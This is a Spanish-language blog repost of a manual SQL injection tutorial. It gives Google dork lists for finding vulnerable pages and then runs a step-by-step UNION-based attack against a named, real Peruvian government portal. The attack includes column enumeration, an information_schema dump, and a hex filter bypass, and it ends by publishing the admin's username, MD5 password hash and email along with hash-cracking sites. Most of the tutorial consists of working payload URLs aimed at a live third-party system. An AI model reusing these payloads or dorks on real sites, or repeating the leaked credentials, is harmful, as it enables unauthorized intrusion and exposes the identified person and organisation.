Banner 1

(Tutorial) Aprendiendo Inyeccion SQLi Manualmente

Mucho se ha hablado y practicado , pero me gusto lo ordenado del post que encontré así que decidí compartirlo.

 
Muy buenas lectores, en esta ocasión demostrare como realizar una Inyección SQLi manualmente ya que para empezar en este mundo de las inyecciones SQL siempre eh recomendado  leer mucho sobre SQL. ya que así estaremos entendiendo que es lo que estamos realizando, en esta ocacion solo me enfocare en las Inyecciones pero si recomiendo que lean mucho sobre SQL y  también es recomendable  saber un poco de php. como dije anteriormente esto es para que vayamos entendiendo que es lo que se esta realizando. a continuación les dejare unos links que me sirvieron mucho para entender sobre SQL.

Aprendiendo SQL:

[+]Curso Online desde Cero:
http://deletesql.com/viewforum.php?f=5&sid=d1e83162086bba74714bd722cbb0d6a7
Vídeos:
https://www.youtube.com/channel/UCLnBUirMKBZ_4s8tTQyQuvg/videos

[+]Otros vídeos que me sirvieron mucho y muy bien explicados. (Recomendado)

1-video:
https://www.youtube.com/watch?v=wKxYUYb1pQ4
2-video:
https://www.youtube.com/watch?v=Eme7qBzigJQ
3-video:
https://www.youtube.com/watch?v=AA4jk_Oa5yw
4-video:
https://www.youtube.com/watch?v=j25hmvG4zPc


Aprendiendo PHP:
http://www.phpya.com.ar/
Videos:
https://www.youtube.com/watch?v=JNbTvInths0

Como dije anteriormente recomiendo primero aprender lo antes publicado, así que a continuación aprenderemos como realizar una simple inyección SQL de un portal del Gobierno del Perú ya que estos la mayoría tienen esta vulnerabilidad y son constantemente explotado. ya que están mal programados con muchos fallos. así que nuestro primer paso sera buscar por medio de una DORK estos tipos de fallos. para los que se preguntan que son las Dorks aquí os dejo mas info:

¿Que es Inyección SQL?

Según OWASP: Un ataque de inyección SQL consiste en la inserción o "inyección" de una consulta SQL a través de los datos de entrada del cliente a la aplicación. El éxito de vulnerabilidad de inyección SQL puede leer los datos sensibles de la base de datos, modificar los datos de base de datos (Insertar / Actualizar / Borrar), ejecutar operaciones de administración de la base de datos (por ejemplo, apagar el DBMS), recuperar el contenido de un presente determinado archivo en el archivo de DBMS sistema y, en algunos casos para ejecutar comandos del sistema operativo. Ataques de inyección SQL son un tipo de ataque de inyección, en el que comandos SQL se inyectan en la entrada de datos plano con el fin de efectuar la ejecución de comandos SQL predefinidas.

Bueno antes de empezar, algo que tenemos que saber es que:
La información esta en la columna & la columna están en las tablas y las tablas están en la base de datos. Solo recuerda eso y después todo se te hará fácil de entender.

¿Que es una Dork?

Podríamos definir Dorks como búsquedas avanzadas mediante el uso de operadores complejos que google pone a nuestra disposición, mediante el uso de estas facilidades podemos ahorrarnos el trabajo de buscar vulnerabilidades y dejar que google nos muestra las que encontró y tiene indexadas.

Aquí algunas Dorks para que se den una idea ya que mas adelante ustedes mismos podrán armar sus propias Dorks.

inurl:noticias.php?id= 

inurl:inicio.php?id= 
inurl:evento.php?id= 
inurl:producto.php?id= 
inurl:sql.php?id= 
inurl:nuevos.php?id= 
inurl:biblioteca.php?id= 
inurl:humor.php?id= 
inurl:acerca.php?id= 
inurl:galerias.php?ogl_id= 
inurl:index.php?id= 
inurl:comunicacion.php?id= 
inurl:detalles.php?id= 
inurl:categoria.php?id= 
inurl:noticia.php?id= 
inurl:paginas.php?id= 
inurl:faq2.php?id= 
inurl:documentos.php?id= 

Estas las utilizaremos para encontrar paginas vulnerables a este tipo de fallos. así que manos a la obra.

1- El primero paso sera buscar nuestra pagina vulnerable para eso tenemos que ir a san www.google.hn
y es ahí donde vamos armar nuestra DORK. en esta ocacion utilizaremos una con 1 palabra no muy común seria algo así:  Inurl:destacados.php?id= se preguntaran que es y por que ponemos Inurl:

¿Que es Inurl:?

El prefijo inurl: (significa en url) te sirve para indicar que buscas páginas que contengan una palabra concreta en la URL. Fíjate que es algo diferente al ejemplo anterior porque busca la palabra en cuestión en cualquier parte de la URL:

una ves realizado nuestra dork en google nos tendría que quedar así como en la imagen a continuación donde miraran todas las paginas con esa ID.
Como vemos nos tiro un total de 2,350 paginas con esa ID es ahí donde tendremos que ir probando 1 por 1 para dar con la web que tenga la vulnerabilidad de SQL inyección, también les quiero decir que NO todas son vulnerables. Bueno seguimos en mi caso como les dije anteriormente usaremos una pagina del gobierno de peru, para buscar un dominio en especial vamos a agregar a nuestra DORK un simple prefijo que nos ayudara para dar con las paginas con un dominio en especial el que nosotros queramos. en este caso utilizaremos el prefijo "SITE:" quedando así nuestra DORK: "Inurl:destacados.php?id= Site: gob.pe"
Si bien miran nos arroja un portal del Gob. de ese país con el dominio gob.pe  en este caso le damos click al primer enlace. una ves dentro de la pagina nos enfocaremos siempre en la url en este caso seria la siguiente.

http://www.osinfor.gob.pe/portal/destacados.php?id=8  

Es desde aquí que empezaremos a realizar la inyección a este portal, para saber si es vulnerable a la inyección solo tenemos que quitar el numero que sale después "=" en este caso seria el numero 8 y reemplazarlo con una simple comilla donde nos tiene que tirar un error de "Sintaxis" algo parecido a esto:

Es aquí donde ya sabemos que tiene el típico error SQLi y es una Web vulnerable a una inyección.

2-Una ves que ya sabemos que tenemos una web vulnerable lo siguiente sera buscar las columnas que tiene dicho portal y se preguntaran como lo hacemos?

Buscando Columnas:

Añadimos un (+ORDER+BY --) y vamos aumentando los números por ejemplo:
 (+ORDER+BY+1--) y hacemos un alto cuando nos aparezca un error

http://www.osinfor.gob.pe/portal/destacados.php?id=8+ORDER+BY+1-- (Sin error)
http://www.osinfor.gob.pe/portal/destacados.php?id=8+ORDER+BY+2-- (Sin error)
http://www.osinfor.gob.pe/portal/destacados.php?id=8+ORDER+BY+3-- (Sin error)
http://www.osinfor.gob.pe/portal/destacados.php?id=8+ORDER+BY+4-- (Sin error)
http://www.osinfor.gob.pe/portal/destacados.php?id=8+ORDER+BY+5-- (Sin error)
http://www.osinfor.gob.pe/portal/destacados.php?id=8+ORDER+BY+6-- ( Con error)
3- Si bien miran el error lo tiro en el numero por que no hay columna "6" esto quiere decir que este portal solo tiene 5 columnas, luego cuando ya sabemos cuantas columnas tiene dicho portal lo siguiente que haremos sera usar 3 sentencias que son ( UNION+ALL+SELECT )  mas las columnas que tiene el portal y quedaría de la siguiente manera.

http://www.osinfor.gob.pe/portal/destacados.php?id=-8+union+all+select+0--
http://www.osinfor.gob.pe/portal/destacados.php?id=-8+union+all+select+0,1--
http://www.osinfor.gob.pe/portal/destacados.php?id=-8+union+all+select+0,1,2--
http://www.osinfor.gob.pe/portal/destacados.php?id=-8+union+all+select+0,1,2,3--
http://www.osinfor.gob.pe/portal/destacados.php?id=-8+union+all+select+0,1,2,3,4--

Si observan bien eh puesto un guion "-" antes del numero "8"

y hemos llegado hasta la columna 4 ya que es esa columna la que es vulnerable y nos arroja unos números como lo verán en la siguiente captura.
4- Cuando ya sepamos que tenemos columnas inyectables el siguiente paso seria averiguar la versión del MYSQL esto es muy importante saber en que versión estamos trabajando ya que si el portal tiene una versión arriba de 5 quiere decir que podemos trabajar bien pero si nos tira que esta en versiones mas antiguas es ahí que tendríamos que hacer otras inyecciones eh ir averiguando y caneando las tablas que podría tener dicho portal, algo similar como una inyección a ciegas.

Bueno para conseguir la versión del MYSQL tendremos que inyectar el comando "@@version o version()"  a una de las columnas vulnerables que nos arrojo el portal en este caso nos tiro el 1 & 4 en mi caso lo haré en la 1 quedando de la siguiente manera:

http://www.osinfor.gob.pe/portal/destacados.php?id=-8+union+all+select+0,@@version,2,3,4--

y si miramos en la captura nos tiro que esta arriba de la versión 5 esto quiere decir que en este portal no tendremos problemas en andar averiguando las tablas ya que nos la va a tirar fácil.

5- El siguiente paso sera conseguir las tablas lo que mas nos interesa en este caso para esto lo que tenemos que hacer es lo siguiente elegir la misma columna inyectable en este caso yo escogí la columna 1 y le inyectaremos las siguientes sentencias " group_concat(table_name) " y al final de las columnas le inyectaremos las siguientes sentencias " +from+information_schema.tables--+ " quedando así la inyección:

http://www.osinfor.gob.pe/portal/destacados.php?id=-1+union+all+select+0,group_concat(table_name),2,3,4+from+information_schema.tables--+

y el portal nos tendrá que arrojar todas las tablas de la siguiente manera como se nos muestra en la siguiente captura.!

como miran nos arrojo todas las tablas, si le damos para el lado derecho miraremos las demás tablas que nos arrojo, pero en lo personal a mi no me gusta que me tire las tablas en Horizontal se mira feo :s no.? bueno para que podamos ver las tablas vertical que se mira mucho mejor tenemos que inyectar otras sentencias en este caso usaremos " replace( " al principio de la sentencia " group_concat " y inyectaremos un código en Hexadecimal el cual seria este: " 0x2C,0x3C62723E " y si desencryptamos este código Hexadecimal nos va arrojar el siguiente código en html que seria " , " si sabemos un poco de HTML sabremos que hace dicho código bueno seguimos ese código hexadecimal lo tendremos que poner al final de:" table_name " quedando nuestra inyección de la siguiente manera.

http://www.osinfor.gob.pe/portal/destacados.php?id=-1+union+all+select+0,replace(group_concat(table_name),0x2C,0x3C62723E),2,3,4
+from+information_schema.tables--+

y en el portal  nos tiene que mostrar de la siguiente manera las tablas mucho  mas chulas :) quedando así:
Si  miran en la captura nos tira tablas del MYSQL que vienen por default y son muy molestas las cuales son:

CHARACTER_SETS
CLIENT_STATISTICS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
INDEX_STATISTICS
ENGINES
EVENTS
FILES
GLOBAL_STATUS
GLOBAL_VARIABLES
KEY_COLUMN_USAGE
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_VARIABLES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TABLE_STATISTICS
THREAD_STATISTICS
TRIGGERS
USER_PRIVILEGES
USER_STATISTICS
VIEWS

 Así que para desaparecer esas  tablas y dejar solo las  que nos interesa armaremos la inyección de la siguiente manera agregando otras sentencias las cuales son: " +where+table_schema=database() "  que nos ayudaran a desaparecer esas molestas tablas :p quedando de la siguiente manera nuestra inyección.

http://www.osinfor.gob.pe/portal/destacados.php?id=-1+union+all+select+0,replace(group_concat(table_name),0x2C,0x3C62723E),2,3,4
+from+information_schema.tables+where+table_schema=database()--+

[+]
Tendríamos que verla así en el portal de esta manera como se muestra en la captura.

[+]Bingo ya tenemos las tablas que realmente nos interesa donde si observan la captura se nos refleja que si hay tablas muy interesantes como son: "osi_usuario,usuario,usuarioweb" :D

6- Bueno seguiremos sacando datos para llegar a nuestro objetivo que son el pass, y usuario del administrador así que para sacar las columnas de esas tablas lo sacaremos de la siguiente manera, armando nuestra inyección así y eligiendo la tabla (osi_usuario).

http://www.osinfor.gob.pe/portal/destacados.php?id=-1+union+all+select+0,replace(group_concat(column_name),0x2C,0x3C62723E),2,3,4
+from+information_schema.columns+where+table_name=0x6f73695f7573756172696f--+

Si nos enfocamos en lo rojo vamos a mirar que hemos cambiado ( table_name ) por ( column_name ) y hemos agregado al final un código hexadecimal el cual ese dichoso código es  la tabla que elegimos anteriormente la cual seria: ( osi_usuario ) el cual lo hemos encryptado en hexadecimal ya que si lo ponemos normal nos tiraría un error y no las columnas que deseamos de esa tabla. Así que armando la anterior inyección nos tiene que tirar estos datos como se miran en la captura.

[+]Para los que se preguntaran como encryptar las tablas de interés, les deja una pagina web que ofrece esos servicios la cual es: http://encodertool.com/hexadecimal algo que se me paso seria que cuando pongan el código hexadecimal siempre hay que agregarle al principio "0x" quedando de la siguiente manera ( 0x6f73695f7573756172696f ) para que lo reconozca como código hexadecimal si no lo ponen fijo les tira un error de sintaxis.

7- Lo siguiente que haremos sera sacar las columnas de la tabla (osi_usuario) y lo haremos de la siguiente manera. ya reduciendo lo que es la inyección ya que tenemos los datos de la tabla (osi_usuario), y armaremos la inyección como normalmente lo haría cualquier usuario que ah hecho una inyección SQLi quedando la inyección así:

http://www.osinfor.gob.pe/portal/destacados.php?id=-1+UNION+ALL+SELECT+
0,concat(usu_username,0x3a,usu_password,0x3a,usu_email),2,3,4
+from+osi_usuario--+

Si observan bien la inyección se reducio ya que solo dejamos ( concat ) y las columnas de la tabla (OSI_USUARIO) yo elegí las mas importantes en este caso son: ( usu_username,usu_password,usu_email ) y bien miran al lado tienen un codigo en Hexa que son

( 0x3a ) este código es una simple coma "," & unos simples 2 puntos ":" esto nos sirva para cuando nos tire los datos de esas columnas lo haga ordenadamente por ejemplo: USUARIO:PASS  Bueno si ejecutamos la inyección antes mencionada nos tiene que salir ya los datos de esas columnas y tiene que salir algo como esto:
[+]Oops...! Nos salio un error y se preguntaran ahora que carajo hacemos pues bien esta pagina la agarre por eso ya que cuando uno llegaba a este punto de la inyección nos tiraba ese error y eso por que hay un filtro que nos impide inyectar esas sentencias por que si bien se an fijado ya son los datos del administrador y creo que nos pusieron a pensar un poco como byppasear ese filtro, es por eso que este pequeño detalle hace diferente este tutorial ya que por lo general todos los manuales & tutoriales son las típicas inyecciones sin restricciones y es aquí cuando el usuario queda en las nubes así que para byppasear ese filtro lo que haremos sera meterle a la inyección otras sentencias las cuales son: " unhex(hex " con esta sentencia lo que le diremos a la inyección es que nos lea los datos en hexadecimal y así pasar desapercibido el filtro así de sencillo y lo ponemos de la siguiente manera quedando asi:

http://www.osinfor.gob.pe/portal/destacados.php?id=-1+UNION+ALL+SELECT+
0,unhex(hex(group_concat(usu_username,0x3a,usu_password,0x3a,usu_email))),2,3,4+from+osi_usuario--+

[+]Si lo ven lo pusimos al inicio de group_concat abriendo 2 corchetes y haciendo el cierre del mismo. y es ahí donde nos tiene que aparecer ya los datos del administrador en este caso seria el,

USUARIO,PASSWORD,CORREO. quedando así como en la captura:
[+]Listo datos ya en nuestro poder como ven nos arrojo el usuario la pass encryptada en MD5 y el correo ahora como nos arrojo la pass encryptada en MD5 el siguiente paso seria buscar como desencryptar dicha pass y los datos obtenido son los siguientes:

*Usuario: adminosinfor
*Password: b1d3c55bf7f44d4def7afd2686c1a3d8
*Email: hbejarano@osinfor.gob.pe


*Ahora les dejare unas paginas Online donde podrán desencryptar la pass:
*Pero también existen Scripts en PERL,PHYTON  que nos hacen ese trabajo también existen muchos software que lo hacen por diccionario como el HashCat muy bueno lo recomiendo.

http://www.hashchecker.de/

http://md5.rednoize.com/
http://md5.noisette.ch/
https://md5.darkbyte.ru/
http://www.hash-cracker.com/
http://www.unmd5.me/
http://md5decrypter.co.uk/
http://www.stringfunction.com/md5-decrypter.html
http://www.md5decrypt.org/

[+]Luego que tengamos el password ya desencryptada lo que haremos sera buscar el panel de control de dicha pagina web, esto también lo haremos con loa ayuda de unos scripts también algunos programas lo traen como el Havij. pero esto se lo debo para el siguiente tutorial, como buscar un panel de control de X web con diferentes métodos así que esperen el tutorial, también les ensenare como usar los scripts que hacen lo mismo buscan el panel del administrador. Asi que esto ah sido todo espero les haya ayudado en algo y como dije anteriormente este tutorial es algo especial ya que aprendimos byppasear 1 filtro mas adelante también les ensenare bypasear otros que nos molestan cuando estamos realizando nuestras inyecciones.!

Nota: Si queréis llevar el tutorial para tu blog,web,foro,etc solo os pido que pongan el autor y la fuente. Saludos :)

Fuente: http://blackophn.blogspot.com/2014/05/tutorial-aprendiendo-inyeccion-sqli.html

No hay comentarios:

Powered by Bad Robot
Helped by Blackubay